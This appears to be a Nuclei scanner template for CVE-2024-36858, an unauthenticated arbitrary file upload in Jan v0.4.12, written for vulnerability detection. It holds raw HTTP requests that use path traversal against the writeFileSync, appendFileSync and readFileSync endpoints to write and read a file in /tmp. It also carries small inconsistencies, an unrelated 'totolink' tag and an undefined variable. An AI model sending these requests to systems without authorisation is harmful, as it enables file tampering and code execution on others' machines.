id: CVE-2024-36858
info:
name: Jan v0.4.12 - Arbitrary File Upload
author: pussycat0x
severity: critical
description: |
An arbitrary file upload vulnerability in the /v1/app/writeFileSync interface of Jan v0.4.12 allows attackers to execute arbitrary code via uploading a crafted file.
reference:
- https://github.com/HackAllSec/CVEs/blob/main/Jan%20AFR%20vulnerability/README.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-36858
cwe-id: CWE-434
epss-score: 0.0363
epss-percentile: 0.87274
cpe: cpe:2.3:a:homebrew:jan:0.4.12:*:*:*:*:*:*:*
metadata:
vendor: homebrew
product: jan
fofa-query: icon_hash="-165268926"
tags: cve,cve2024,kev,totolink,unauth,intrusive
variables:
filename: "{{to_lower(rand_text_alpha(6))}}"
string: "{{rand_text_alpha(10)}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"
Jan")'
- "contains(content_type, 'text/html')"
- "status_code == 200"
condition: and
internal: true
- raw:
- |
POST /v1/app/writeFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["/../../../../../tmp/{{filename}}.txt","{{randstr}}"]
- |
POST /v1/app/appendFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","{{string}}"]
- |
POST /v1/app/readFileSync HTTP/1.1
Host: {{Hostname}}
Referer: {{RootURL}}
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Origin: {{RootURL}}
["file:/../../../../../../tmp/{{filename}}.txt","utf-8"]
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
- 'contains(body_3, "{{string}}")'
condition: and
# digest: 490a0046304402201ed1c0f51aed2f616b99ae16e230ab34f16faa6f7db2dbc21804b76bd495eab202204193163d1111cfc71c897ef996ced6acb42e38e5d0f87ae172d860a79724fccd:922c64590222798bb761d5b6d8e72950